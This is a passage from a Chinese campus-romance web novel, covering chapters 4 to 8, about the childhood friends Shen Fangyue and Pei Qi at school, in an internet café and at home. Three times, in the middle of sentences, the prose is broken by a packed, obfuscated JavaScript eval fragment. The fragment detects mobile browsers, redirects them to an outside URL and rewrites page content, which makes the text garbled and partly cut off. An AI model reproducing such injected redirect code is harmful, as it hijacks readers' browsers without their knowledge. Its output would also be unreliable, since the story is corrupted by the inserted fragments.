估计是自己暑假这两个月在老家呆着，脑袋都变迟钝了，忘了沈方月对裴祈一直是这样——要么针锋相对，要么就是对方甩不掉的亲密小尾巴。 顾湘把人松开，低头收拾自己的课桌。她剪了一头短发，低头时半边脸都被头发遮着。 过了一阵，顾湘忽然想起什么，猛然抬头：“糟了。” 沈方月原本盯着黑板在出神，闻言扭头：“什么？” “我这几个月一直在家里呆着，身上肯定全是味道。”顾湘说，“你闻闻你衣服，有没有被我沾上？” 顾湘家里开中药铺，母亲又常年卧病在床，顾湘自小衣服便带着股淡淡的药味。 初中时因为这股味道，其他人都不想和她同桌，甚至在某次换座位时，被安排到她身边的男生当着全班同学的面大喊：“老师我不想和顾湘坐！她身上好臭，像垃圾场！” 全班哄笑。 沈方月就是在那时候举起了手。 “老师我想和顾湘坐！”沈方月的声音清脆有力，说完还回头骂那个男生，“你才垃圾场呢！你超级无敌垃圾场！” 窗外卷入一阵温热黏腻的夏风。沈方月低头闻了一下自己的衣袖，说：“好像没沾上。” 顾湘刚想说“那就好”，沈方月勾住她的脖子，俩人又变成刚才讲小话时的姿势。 “我沾一点吧。”沈方月说，“我很喜欢你身上的味道，苦苦的，很香啊。” 顾湘：“……”所以苦的味道到底哪里香了？ “还有，”沈方月安静了一下，非常认真地小声说，“刚才你那个可怕的想法，以后都别说了，如果让裴祈知道别人觉得我暗恋他，那我会被他笑一辈子的！” && 开学典礼在操场开了近一个小时，回班后又上了四十分钟班会课，下课铃响时，全班人都已经蔫了下去。 “行了，散会吧。”讲台上，头发盘得一丝不苟，脸上挂着一幅黑框眼镜的女人单手拎起刚收的作业，“都去洗把脸，看看你们这幅德行，哪个老师见了你们还有激情讲课。” 沈方月刚要随着这句“散会”趴到课桌上—— “沈方月，你来我办公室一趟。”古涵走到教室门口，又回头扔下一句。 沈方月：“……” “这才刚开学，你就惹到她了？”顾湘问。 “没有啊。”沈方月仔细想了想，她今早只干了一件坏事。 难道作业的事这么快就被发现了？ 听见某人的名字，正在翻课桌的裴祈下意识抬了抬眼。 然后头发就被人轻轻拍了两下。 “你放心，裴乌龟。”沈方月一副视死如归的表情，举手发誓，“她就是打死我，我也不会把你供出去的！” “……” 裴祈那句“别犯蠢”还没说出口，沈方月就收回手匆匆跟上了班主任的脚步。 沈方月今早睡过了头，马尾被她扎得乱七八糟，晃起来像随时要散开。 裴祈盯着她的发尾，直到对方消失在走廊，才收起视线，抬手敷衍地扫了一下刚被摸过的地方。 && “沈方月，你自己看看你的数学成绩，你这还有救吗？”办公室里，古涵抱臂质问。 古涵近四十的年纪，未婚，自律爱健身，一身黑色职业装也把她衬得玲珑有致，升旗时往教师队伍里一放，像是二、三十刚入教师队伍的软萌新人。 实际上她与软萌压根不沾边，不论是教学能力或严格程度，在学校里都是出了名的厉害。 沈方月松一口气，原来没被发现。 她摸摸鼻子，狡辩：“我期末进步了6分呢。” “31分进步到37分，你还挺自豪是吧？你怎么不看看两次卷子难度差了多少？”古涵头疼，“你这偏科偏得是不是太过分了？语文回回都能一百分以上，数学你有一次分数超过五十吗？” 为此，古涵还怀疑过她是对自己有意见，特意去查了一下她的初中成绩，才发现没有，这姑娘就是跟数学不对付。 她还曾经把数学回回年级第一的裴祈放到她旁边，跟她做同桌，谁想不仅成绩没上去，俩人话还密。在各科老师的反馈下，古涵又紧急把他们座位错开了。 “有的。”沈方月想了一下，认真回答，“上上学期的期中考试，我超超超超常发挥，考了51分。” “……” 眼看着古涵脸又黑了几分，沈方月立刻改口：“——好汉不提当年勇，老师，下次数学考试我一定过50分，一定不辜负你的期望！” 古涵觉得她这话听着像渣男的承诺。 “行了，我对你也没什么大期望，这学期结束之前能及格就行。叫你来就是见你犯困，让你醒醒神，”古涵叹气，“平时你要有什么不会做的题，又临时找不到我的情况下，就去向裴祈请教请教，你们关系不是很好么？我今早路过教室，看到你的作业都是他帮你交的。” 提起作业，沈方月心一跳，张口就胡说：“顺手而已，我和他不熟——不不不，我们关系特别差！我们小时候还天天打架……” “是么？”古涵往窗外瞥了一眼，挑眉，“那他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14760831|157725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么还接你来了？” 老师办公室外的走廊，一个瘦高的身影经过，明明手长腿长，走路的速度却明显比旁边的几位同学要慢很多。 男生肩膀比同龄人宽阔，白衬校服被撑得板正利落。他看起来像刚洗完脸，碎发凌乱贴在额前，冷淡锋利的下颚线还有未干的水渍。 感觉到办公室里的两道目光，裴祈不露痕迹地收回视线，加快了一点脚步。 没几秒，身后传来一道急促的脚步声，下一刻，来人直直地撞上了他的手臂。 “裴乌龟，来救我啦？”沈方月说。 裴祈笔直朝前走，没看她：“来洗脸。” “我们班旁边就是厕所，你不去那洗，特地下楼洗？” “人很多，懒得等。” “我不信，你嘴硬。” “……” 裴祈懒得理她的疯言疯语，径直上楼，没走几节台阶就被身后的人抓住衣角。 “你走慢点！”沈方月艰难地追上他，“裴祈，你讲不讲道理？这世界上哪有乌龟会走这么快啊？” 到底是谁不讲道理。 “我们不是不熟？”裴祈说，“自己回去，别跟着我。” “……你听到了？”沈方月一愣，眨眨眼道，“你怎么还偷听啊？” 说话像嘴边安了个喇叭似的，想听不见也很难。 裴祈没理她，把自己的衣角解救出来，继续上楼。 然后又被抓住衣角。 “不是，我那不是怕作业被发现，想把你摘出去才胡说八道的吗？”沈方月说，“我们熟，特别熟，我们天下第一要好，我们肝胆相照情比金坚，我们——” “行了，沈方月。”裴祈打断她，“再说就恶心了。” “喔。” 回教室时离上课还有两分钟。 裴祈找出课本，才想起什么似的懒洋洋问前桌的人：“所以老师找你过去说什么了？” 沈方月后靠着椅背应：“你不是都偷听到了吗？” “……” “也没说什么，就夸我成绩好进步高，够努力肯吃苦，让我继续努力不要骄傲——”沈方月脸不红心不跳，“哦，还让我转告你，让你多跟我学习学习。” “学什么？学你数学考37？” “……那又怎样！”沈方月转过头，手肘撑在他课桌上，振振有词，“虽然只有37，但我可是进步了6分，6分诶！你知道多这6分，高考的时候我能甩掉多少人吗？你能进步6分吗？” 她这话一出，前后桌的其余三人同时陷入沉默。 半晌，裴祈偏脸问他同桌：“我上期末数学几分？” 宋哲：“……满分。” “哦。”裴祈回头看她，“那确实不能。” 沈方月：“……” 裴祈：“真羡慕你。” “……” “还有这，”裴祈停顿一下，“么多进步空间。” “……” 5. 第 5 章 “我当时怎么就忘了他走狗屎运，上期末数学考了满分呢？！” 小卖部里，沈方月撕开冰棍，嘴里念念有词。 顾湘：“……” 顾湘淡淡道：“同学，距离你吵输这场架已经过了七个小时，我的建议是释然吧。” 再说裴祈也不是一两次数学考满分，算不上狗屎运。 沈方月狠狠地咬了一口冰棍，点头：“下次我一定吵赢他。” 俩人吃完冰棍，正好响起上课铃。 他们这学期的课表依旧很地狱，主科总是连堂。唯一优点是周一下午两节课分别是体育课和音乐课，这在学生眼里就等于上完下午前两节课即放学。 他们班女多男少，体育课排了三列，前两排都是女生，男生在最后一列。 沈方月1米65，放在年级里只能算中上的身高，却是四班女生中最高的，被老师安排站在第二列最后一个，身后就是班里最高的男生。 下午四点的日光依旧毒辣，像给操场裹上一层闷热的封膜。 他们班这次占到的操场集合位置不好，旁边只有几颗不太茂密的树。阳光透过稀疏的树叶子，细细碎碎地洒落在他们的蓝白色校服上。 “你们班可真行，怎么不再晚点下楼？”体育老师叉腰，满脸恨铁不成钢地说，“现在好了吧，阴凉的集合点都被别班占了，咱们就一起晒着吧。” “老师，您怎么不帮我们占一个啊？”队列里有人开口。 体育老师：“行啊。我再帮你们去教室上课呗。” 队列里立刻发出一阵噗嗤噗嗤地笑。 裴祈双手背在身后，后背微弓，站姿有点懒散。 他前面的人倒是站得直。沈方月发量很多，绑起马尾时后颈散落许多簇碎发，可能是因为这样，她校服领口露出的后颈要比其他人白皙几度。 不过沈方月从小就白。 皮肤白，牙也白。 幼儿园直至初中的毕业照里，笑着的沈方月永远都是照片里最醒目的那个。 体育老师铿锵有力地喊了一声“稍息”。裴祈回神，刚想撇开眼，前面的人忽然有了动作。 沈方月手伸进口袋，不知拿出什么，她悄悄地后退一步，把东西往后递，怕裴祈看不见，还晃了两下手。 裴祈接过：“什么东西？” “防晒霜，涂在脸和手臂上。”体育老师在上面点名，沈方月脑袋微微后仰，小声叮嘱他，“给我留点，我还没涂呢，就剩这么点了。” 裴祈对这些没兴趣，刚要把东西递回去。 “哇，你还带了这个。”身边的顾飞白忽然开口，“能给我也匀点吗？” 沈方月大方道：“可以啊。” “谢了。”顾飞白笑起来，“沈方月，之前在包厢里看不清，你今天再看我，有没有觉得我变黑了？我暑假一直在打球，他们都说我现在像块黑炭。” 沈方月扭头看他，沉默了一下。 ……顾飞白之前什么色号来着？ 想不起来了，于是沈方月眨眨眼，敷衍地应付一句：“没觉得。” “那就好。对了，你之前送我的乐高我试着拼了一下，没想到还挺有意思的。” 前面的体育老师吹了一声哨子，打断俩人的话：“行了，老规矩，女生八百男生一千五，赶紧跑！跑完好解散！” 高一时沈方月起了个坏头，以生理期的借口连续逃了五节体育课的跑步。体育老师被她气得立了新规矩，以后只要不是疼得要送校医室，就也得快走个小半圈。 第一排的同学随着哨声慢吞吞地起了头，沈方月回头催他：“裴祈，你好了没有，马上都要跑了——” 沈方月：“……” 沈方月看着裴祈手里捏着的空软管，和他手背上那一大滩白色防晒乳液，一下没了声。 半晌，她缓缓抬头：“你，全挤完了？” “嗯。”裴祈手一扬，空管子在空中划出一道弧度，安详地躺进不远处的垃圾桶。 沈方月呆滞：“你一个人为什么要用这么多。” 裴祈：“我脸大。” 顾飞白：“……” 沈方月从震惊里回神，抬手就往他手臂上来了一拳：“都跟你说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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直到下课铃响，才陆陆续续地往外涌。 下节是美术课。美术教室不在他们的教学楼，得越过操场到另一栋楼去上。 走下台阶，沈方月下意识朝球场那头看了一眼。 顾湘随着她的目光看去：“看什么呢，在找你的绝交对象？” 跑操时沈方月大喊的那声“绝交”，连隔壁班都能听见。 “什么绝交对象？方月和谁绝交了？”跟她们一块儿出来的女生好奇道。 女生叫陈曼，是坐她们前桌的女生，平时偶尔会跟她们俩走在一块。 顾湘：“还能是谁，裴祈。” “谁找他了，我就随便看看。”沈方月收回脑袋，喝了一口食堂里刚买的奶茶，声音含糊，“而且我们和好了。” “怎么一次比一次快。” “就是，他最近认错的速度怎么越来越快了。”沈方月感慨，“可能这就是成长吧。” “……” 顾湘觑了一眼她手里：“怪不得买了两杯奶茶。” 沈方月晃了晃手里另一杯没开过的奶茶：“那这是为了报他的作业之恩。” “你这杯是买给裴祈的？”陈曼疑惑，“但他不去上美术课，你怎么给他？” 沈方月脚步一顿，愣道：“……他不上美术课？” “对啊。刚才我去买水的时候碰上他们了，听见宋哲说他们一会儿要逃课去上网。”陈曼道，“裴祈没跟你说吗？” “……” 说到这，陈曼不由得纳闷：“不过我一开始真看不出来，裴祈居然会逃课抽烟，上课也经常睡觉被罚站——他成绩怎么还能这么好啊？！” 这个疑问，顾湘最初遇到裴祈的时候也有过。 几年的接触下来，她得出一个气死人的结论：“可能这就是天才吧。” 陈曼噎住，“天才也得学了才能会吧。方月，你跟他住得近，偷偷告诉我，他课余时间补不补课？” 身边没声音。陈曼等了一会儿，疑惑地回头，发现沈方月走得很慢，低头不知道在想什么，“方月？” 沈方月回神：“什么？哦……他不补课。” “……行吧，那真是想不通。”陈曼催她，“马上上课了，我们要不走快点吧。” “你们去吧。”沈方月停下脚步。 陈曼愣住：“啊？” 奶茶被塞到顾湘手里：“小湘湘，这杯给你喝了。” 顾湘莫名其妙：“不是要给裴祈……” 沈方月已经走远，头也不回地说：“拿着不方便，不给他了！” “……？” && “你行不行啊？” 宋哲举起手，把人用力往墙的那边推，仰头吃力地问。 学校某个冷清的小角落，几个男生正在一个个地往外翻墙。 墙上挂着的男生叫钟震，有点胖，憋得脸都红了：“行，行，马上过去了……学校这也太坏了，暑假趁我们不在，居然偷偷把墙都给砌高了！” “哪高了？是你暑假吃胖了，嘶，我他妈扶不住了——裴祈，救命！” 银杏树下，男生站得随意挺拔，正低头翻刚收到的消息。 笨蛋：[你在哪？] 笨蛋：[你等等我] 裴祈皱了一下眉，没回。他走到墙边，伸手懒懒一撑，钟震终于得救，一个使劲儿就翻了过去。 裴祈：“你跟沈方月说了上网的事？” 宋哲：“我？没有啊！” 裴祈点头，催他：“翻吧。” 在家好吃好喝躺了两个月，大家这墙翻得都有点生疏。宋哲翻过去后小喘了几口气，回头道：“裴祈，你别说，两个月没爬这墙了，是真有点难——” 一句话没说完，裴祈撑手借力起跳，轻松干脆地翻了过来。 宋哲：“……” 钟震：“妈的，你这几下，比我前段时间看的那部校园剧里的男主角翻得还帅。我让他下来，你去拍。” “谢谢，但不用。”裴祈步子比平时都快，“走了。” “哎，等等，”钟震叫住他，“隔壁班那个小黑鬼也想去，让我们等他，这就在过来路上了。” “让他自己过去。” 钟震一愣：“你怎么了，这么急？” 裴祈匆匆看了眼手机：“有人杀来了。” “谁？”宋哲吓一跳，“不会是老古吧？！” “不是，比她吓人。” “靠，还有比她吓人的？谁啊？年级主任？”钟震立马说，“那我让小黑鬼自己过去，我们赶紧先走！” 几人商量好，刚扭头走了几步—— “裴乌龟！” 身后传来很小声的一声叫唤。 其他两人都以为是幻听，只有裴祈停下脚步，皱眉低头，很轻地啧了声。 “裴乌龟！乌龟！裴祈！” 这下肯定不是幻听了，钟震和宋哲两人对视一眼，一块儿回过头去。 身后。女生蹲在校墙上，两手紧张地攥着墙沿，一双眼睛直勾勾地盯着他们瞧。 一阵夏风拂过，她耳边几缕碎发随风晃了晃，人也好似一样。 “裴祈！”怕被其他人发现，沈方月很轻地叫他，“你来扶我一下。” 墙靠学校那头还有几堆石头摆着，能借力往上爬，往下看也不会那么高。 另一面可就什么都没了，得一鼓作气跳下来。墙虽然不算特别高，但乍一往下看，还是吓人。 “月姐？” 宋哲和钟震两人都愣了愣，反应过来了，这就是那位比老古还吓人的人？ 宋哲刚想问什么情况，就听见旁边的人叹了声气，扭头往回走。 裴祈走到墙边站定，抬头跟她对视：“沈方月，回学校去。” “裴祈，接住我。” 几乎是话音刚落，沈方月毫不犹豫地往下跳。 然后毫不意外地被裴祈接住。 沈方月脖颈、脸颊还弥漫着防晒霜的味道，蓝白校服下的肌肤，和抱着他的那双手都软绵绵的，像夏日阳光里清透干净的柠檬。 不远处的宋哲和钟震满脸震撼地看着他俩。 这俩人真特么的……一个敢跳，一个会接。 裴祈回过神来，意识到抱得太紧了，紧拢的手指倏地松开些许。 脖子被放开，沈方月跟他拉开一点距离。 她拍了拍胸膛，回头看了一眼校墙：“这墙好高，吓死人了！” 裴祈垂眸：“高你还往下跳？” “不是有你在下面吗？” “……” 沈方月拍了拍手掌上虚无的灰，笑眯眯地指挥：“走，我们出发！” 往前走了几步，她的衣领被人从后扯住。 裴祈手指勾住她的衣领，淡声命令：“沈方月，回去上课。” “我不。”沈方月拒绝，“我要去上网！” “……” “你上个屁，你会玩什么？”裴祈说，“电脑白痴。” “这你别管，反正我就要去上网。” 裴祈懒得跟她废话，抓着她的胳膊往后门走。出来难，把人塞进去容易，大不了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14760833|157725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他进去后再翻出来。 沈方月深吸一口气。 然后：“高二五班的裴祈逃——” 话还没喊完，嘴巴就被捂住了。 沈方月抬眼盯着裴祈，含糊不清地说：“嗯嗯嗯唔唔唔嗯（你的手刚打完球）！！！” “……” “洗过了，别吵。”裴祈冷淡道，“再吵真扔你回去。” 沈方月安静了。 最后还是四人一同朝网吧走去。 走了好一会儿，钟震还是没想通，他看了一眼后面吵吵闹闹的俩人，问身边的人：“你说月姐刚才那唔唔唔几声，裴祈怎么听懂的？” “谁知道。”宋哲说，“心灵感应吧。” “……” && 这不是沈方月第一次跟裴祈去网吧。 其实裴祈第一次去网吧，沈方月就在屁股后面跟着。 那时裴祈刚上初一，他父母正在闹离婚，俩人为了财产分配在家吵架，吵到中途翻出了对方各自的外遇，最后的落点在“孩子跟谁”上。 连续吵了三天后，裴祈摔门离开。 当时他是走进网吧，才发现沈方月跟着自己的。初一的小姑娘怯生生的，在柜台前笨拙地撒谎，说自己没带身份证。 裴祈起身把人领回来，没给她开机子，只是找了把椅子让她坐。 “你来干什么？”裴祈看了一眼时间，“十一点了，让阿姨知道一定打你。” “你哭了吗？裴祈。”沈方月手撑在他的椅子扶手上，盯着他的眼睛问。 她的眼睛很大很亮，眼尾微微上翘，认真看着谁的时候总是很生动。 “没有。”裴祈仓促地说。 沈方月盯着他红红的眼眶，哦了一声：“我来陪你。这么晚了，我怕你一个人在外面会挨揍。” “我为什么会挨揍？” “你长得很欠揍。” “……” 那一晚，沈方月就靠在他椅子上，啰啰嗦嗦地陪他打游戏到半夜三点，最后两个人一起被沈方月的父母抓回去。 回家后，沈方月果然挨了她妈的打，深夜在被窝里流着眼泪给他发短信。 她说：【裴祈，你很坚强，爸妈吵架都没有哭。我也很坚强，屁股都被打红了，也没有哭。】 && 在角落开好机子，沈方月看着不知多久没擦，还破了好几块皮的电竞沙发，犹豫了。 “怎么不坐啊月姐。”宋哲问，“想吃什么？我和裴祈去买。” “我不吃，谢谢。”说完，沈方月摸了摸自己的口袋，想拿纸巾擦一擦。 一件校服外套被扔到她的座位上，把那些东西全部遮挡住。 裴祈喜欢把外套当枕头用，夏天也照旧带着。 沈方月满意地坐到裴祈的校服上，伸手开机。 快到饭点，几人都饿了。钟震刚才那一跳有些崴到脚，最后是裴祈和宋哲去买吃的。 钟震开机上游戏，突然想到什么，好奇道：“月姐，你为什么给裴祈取乌龟这个绰号啊？” 沈方月立刻澄清：“我才不给人取外号，这外号明明是他自己取的。” “自己取的？？” “对啊。”沈方月微微仰头，回忆了一下，“刚上小学的时候，他非要让我叫他乌龟，我不叫他还要跟我发脾气，不信你待会儿问他——” 脑袋被轻轻地推了一下。 一杯鲜榨的西瓜汁被放到她手边。 “沈方月，我最后说一遍。” 裴祈收回手，面无表情地坐到她旁边的机子前。 “那特么叫忍者神龟。” 7. 第 7 章 网吧里一眼扫过去大多是男生，环境吵杂。 有些人玩得亢奋了或者有什么神级操作，还会蹦出几声声嘶力竭的大吼，其中就有宋哲和钟震的声音。 但裴祈一直没什么表情，玩得很沉默，仿佛在游戏里大杀四方的不是他。 裴祈说的没错，沈方月确实是电脑白痴。 小学电脑课，沈方月永远是交作业最慢的那一位，基本都要找场外求助。一些风头很盛的电脑网游她也完全不感兴趣。 所以她来网吧通常只看看电视听听歌，还有—— 沈方月撑着下巴，认真地看着他的电脑屏幕，突然紧张地戳了好几下出现在他屏幕左下角的人物：“裴祈，这里有人，这有人！杀他们！快杀他们！” 裴祈：“这是宋哲和钟震。” “哦。”沈方月指挥，“也杀！” 裴祈：“……” 宋哲、钟震：“……” 裴祈被好几个敌人埋伏，游戏人物被杀回重生点。 沈方月对他很不满意：“你怎么打不过别人。” 裴祈：“没见对面来了四个？” 沈方月胡说八道、偷换概念：“四个怎么了。我们年级快一千个人，你不还是能考第一？” “……” 裴祈连续玩了几局一个近期版本的强势女英雄。 沈方月长长地“啊——”了一声。她看着游戏人物身上性感妩媚的服装，一副了然又惊讶的样子，非常小声地自言自语，“你喜欢这样的……” 裴祈忍无可忍，手掌心按在她脑门上，把她轻轻往后推。 “看你自己的电脑，沈方月。” “最近没什么好看的电视剧。”沈方月用脑袋回顶他，“你的电脑比较好看。” “……” 裴祈拿过她的鼠标，打开了某个小游戏网站，里面有各个类型的免费小游戏。 他说：“自己挑着玩。” 沈方月看着网站上浮夸劣质的游戏封面：“我不想玩这些，看起来都好幼稚。” “行。”裴祈拿起手机。 “你干嘛？” “让阿姨叫司机接你回家。” “……” 沈方月心里大骂三千遍“告状精”，气鼓鼓地扭回脑袋，随便点开了某个游戏。 沈方月身材匀称，只有脸蛋上肉多些，鼓起嘴时，侧脸会有一道圆润的弧线。 看起来手感很好。 裴祈看了几秒，冷淡地收起视线，手指慢吞吞地在鼠标上磨了一下。 && 裴祈原以为沈方月玩一会儿就又会凑过来烦他，像之前的几次一样。 谁想两局游戏过去，身边居然一点动静都没有。 宋哲和钟震在旁边叽叽歪歪地吵，互说对方刚才的操作有多烂。裴祈活动了下脖子，往旁边扫了眼。 看到一个紧凑在电脑屏幕前的小脑袋。 沈方月盯着屏幕，微微皱着眉，神态看起来比上课时要认真好几倍。 忽然，她感觉到自己的马尾被抓住，轻微往后面扯了扯。 裴祈游戏打累了，声音有点儿懒：“沈方月，干什么呢。” “玩游戏。” “什么游戏，能让你这么认真。” 沈方月头也没回，只是伸手去抓住他的手腕，又松开，改成去抓手指，把他的手拉开。 “裴祈，你别扯我头发，万一我以后像老余那样秃了怎么办？” 老余是他们班的语文老师，男，标准的地中海。 裴祈的手指被她握在手心里，能感觉到她偏凉的体温。 “裴祈，正好，你帮我看看。”沈方月说，“我选哪套裙子比较好？” 裴祈回神，视线仓促地从她细瘦的手腕上挪开。 他抽出手，眼皮懒懒往上抬，在她点开的两件裙子上扫了眼：“左边。” 沈方月“哦”了一声，然后选了右边。 裴祈：“。” 沈方月玩的像是某款换装小游戏，过了一会，她又扯了扯裴祈的衣袖：“你觉得哪个耳环好看？” “松手。” “……哎呀，”沈方月承诺，“我这次一定选你说的。” 裴祈冷嗤一声：“左边。” 搭配好衣服，沈方月终于开始走剧情，她每个文案都看得特别认真，过了一会儿，她又问：“裴祈，你说我去医院还是去夜店？” “……” 这什么游戏选项？ 裴祈正在打团战，他问：“没别的选项了？” “有。”沈方月说，“美术馆和银行大楼。” 裴祈看也没看，说：“美术馆。” 过了一会。 “裴祈，我选哪个交通工具比较好？有豪车、机车、私人游艇和私人飞机。” “普通的车。” “冲浪、跳伞、蹦极还是攀岩？” “攀岩。” “猴子、狗、猫还是金丝雀？” “狗。” 隔壁的宋哲听着他们一问一答，心里不由佩服。 谁要在他打团的时候在旁边叽叽喳喳出问题，他非疯不可。 过了一会儿，沈方月的问题又来了：“医生、美术家、大明星还是霸道总裁？” “医……什么？” 裴祈扭头，眼里难得出现一点疑惑。 他看见沈方月的电脑屏幕上同时站着四个男性建模，正朝着屏幕外的她发出邀请。 “我说，”沈方月手指一个个点着建模，给他介绍，“医生，美术家，大明星，霸道总裁。” “裴祈，你说我和谁谈恋爱比较好？” 沈方月等了好久都没得到回答。她刚想出声催促，一扭头就撞进了裴祈的眼睛里。 裴祈双眼皮单薄，眸子漆黑，垂眼时会显得很冷淡。 她微微失神，过了一会儿才找回声音：“……你怎么不说话？” “沈方月，”裴祈说，“你就这么想谈恋爱？” “？”沈方月莫名其妙，“我哪有——我只是在玩游戏好不好！” “没区别。” “怎么没区别，你还在游戏里杀人呢，你在现实里也想杀人吗？”沈方月理直气壮。 “……” “快，选一个。”沈方月道，“不然霸道总裁？温柔有钱，建模也很帅……” “都不选。” “？” 正好一局游戏结束，裴祈把游戏关了，朝另外两人说：“不玩了。我带她回去了。” 沈方月一愣，立即抗议：“我不要，我好不容易把他们好感都刷满，你好歹让我跟他们谈一会——” “不让。”裴祈说，“谈个屁。” “……” 裴祈起身，见沈方月坐着不愿动，他冷嗤一声，点头。 “行。你继续玩，我回去了。” 裴祈说完，跟宋哲他们道别后转头便走。 还没走到网吧门口，就听见身后传来一道急促的脚步声，紧跟着肩膀被重重一撞。 “自私鬼，我都还没玩够呢。”沈方月噘着嘴和他并肩，又撞了一下他肩膀，并放下狠话，“我以后再也不陪你来上网了。” “说到做到。”裴祈说，“回去写个保证书，签字画押。” “……” && 他们去的网吧离家里很近，走路不过二十分钟就能到家。 路上，沈方月给顾湘发了条短信，收到对方回复后松了一口气。 她收起手机，一脸严肃地说：“糟糕！” “干吗。”裴祈睨她。 “今天美术老师点名了！” “哦。” “我们都被发现了！” “嗯。” “但是！”沈方月挺起小胸膛，“我提前预知，来之前就让顾湘帮我们请假了，说我和钟震体育课受了伤，你和宋哲负责送我们去校医室——我厉害吧？” “厉害。” “厉害的人帮了你这么大一个忙，你没有一点表示？” 就知道。 裴祈双手抄兜，睨她：“厉害的人想要什么表示？” 说到这，两人正好到家。 沈方月抬起眼，笑眯眯地说：“给我做碗面吧裴祈，我好饿。” 沈方月笑起来眉眼弯弯，狡黠里带着温柔。 裴祈从她的笑容里抽离，正想逗她付费用餐，看见自己家里亮起的灯，嘴边刚提起的丝微弧度蓦地收了回去。 沈方月随着他的目光看去，脸上的笑也顿住。 裴祈的父母离婚后，裴祈名义上是跟了父亲，实际这套房子就只有他一个人在住。 他父母已经分别再婚，裴祈从不主动找他们。偶尔见一回，也是他爸或者他妈回家来找他，这种情况非常少——并且都是不欢而散。 肩膀被轻轻碰了碰，沈方月小声说：“裴祈 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“那我就不告状了。”沈方月走到他旁边，跟他肩抵着肩，商量，“但是你别抽太多。” “……” 她当时没抬头，只感觉到裴祈在看她，不知道对方是什么表情。 只是在那之后，裴祈没再在她面前抽过烟。 && 裴祈刚进家门，就撞上一对刚准备离开的男女。 三人打了个照面，裴父愣了一下，说：“我最近有事回山城一趟，正好过来见见你，学校现在才放学吗？” 裴祈扔下一个“嗯”，看都没看他俩一眼，脱鞋后擦着对方的肩离开。 “我在跟你说话，裴祈。”裴父皱眉，“见到我和阿姨，连声招呼都不打，你这什么态度？！” “你什么态度？”裴祈说。 “你！” “行了行了，你和小孩计较什么……”旁边的女人笑着打圆场，“裴祈，我和你爸爸从餐厅给你带了晚饭，就放在厨房，上了一天学肯定饿了吧？快去吃点。” 裴祈没理她，径直转身上楼。 “裴祈！”裴永恩震怒，“你看看你现在是什么样子！你这目中无人的臭德性都跟谁学的？你妈吗？你……” 后面的话被裴祈关在门外。 裴祈把书包扔到桌上，转身进了浴室。隔着两扇门，裴永恩的声音越来越模糊，直到彻底消失。 应该是被劝走了。 这种情况，裴永恩每回一次山城就要发生一次，起初裴祈还会有来有回地顶几句嘴，现在他已经彻底感到厌烦。 洗完澡出来，手机显示有很多条消息。 裴祈边擦头发边打开。 裴永恩给他发来了六条长语音，裴祈不听都能大概猜到里面是什么内容。 裴祈冷淡地划掉这条对话框，继续看剩下的未读—— 笨蛋：[裴祈？] 笨蛋：[怎么样了？你和他又吵架了吗？] 笨蛋：[你吵得过吗？我过来帮你吧！] pq：[谁吵得过我？] 笨蛋：[……] 笨蛋：[也是，你天下第一气人。] 裴祈嗤笑一声，把浴巾扔到旁边，走出阳台透气。 月色皎皎，街边没什么行人，他刚呼吸几口新鲜空气，手机又嗡嗡地震起来。 笨蛋：[（图片）（图片）] 笨蛋：[我搜了一下刚才玩的那个游戏攻略，发现我居然触发了一条暗线！如果我答应了和霸道总裁谈恋爱，就能进入隐藏剧情！他会带我去全晋江市最高的楼里看烟花！还有神秘语音和刺激情节！！！] 笨蛋：[啊啊啊啊啊！！！！！裴祈！！！你王八蛋！！！！这是我第一次靠自己的努力打通游戏暗线！！！！！] 笨蛋：[啊啊啊你赔我恋爱！！！你赔我恋爱！！！！！！] 裴祈手指动了动。 路边突然响起一道刺耳的喇叭声，裴祈看着自己打在对话框里的“嗯”字，微微一怔。 笨蛋：[你什么意思？正在输入又不说话？不认账是吧。] 裴祈回神，沉默地叹出一口气，把对话框里的字删了，重新打字。 pq：[少玩点黄色游戏，沈方月。] 8. 第 8 章 开学那一阵，学生们还算兴奋。 很多人都在开学前立誓洗心革面好好学习，可惜这个誓言维持时间通常不超过一个月。 电话铃声在房间里响了不知多久，被褥才慢吞吞伸出一只白净的手臂，在床上摸索半天，然后摁下挂断键。 几秒后，铃声又响起。 循环反复几次，沈方月终于舍得把手机贴在耳朵上，接通，不说话。 对面似乎确定了几秒电话到底通没通，才终于有声音。 “闹钟被你杀了？”裴祈问。 “……” 沈方月的起床气是出了名的大，从她上幼儿园早起的第一天起就没改好过。 她眼睛眯开一条缝，看了一眼刚被她一巴掌按倒在桌上的闹钟，否认：“没有。” “我目击了。” “？” 沈方月“腾”地一下坐起来，慌忙地拉紧被她睡得七扭八歪的吊带睡衣，惊恐地看向旁边的窗户—— 窗帘拉得死死的，一丝丝光线都没透进来。 沈方月：“……” 她披上一件单薄的外套，在床上慢吞吞挪到窗边，唰地拉开窗帘，对对窗的人面无表情地说：“你看到个屁。” 他们的房间有一扇窗正好相对，撩开窗帘就能看见对方。 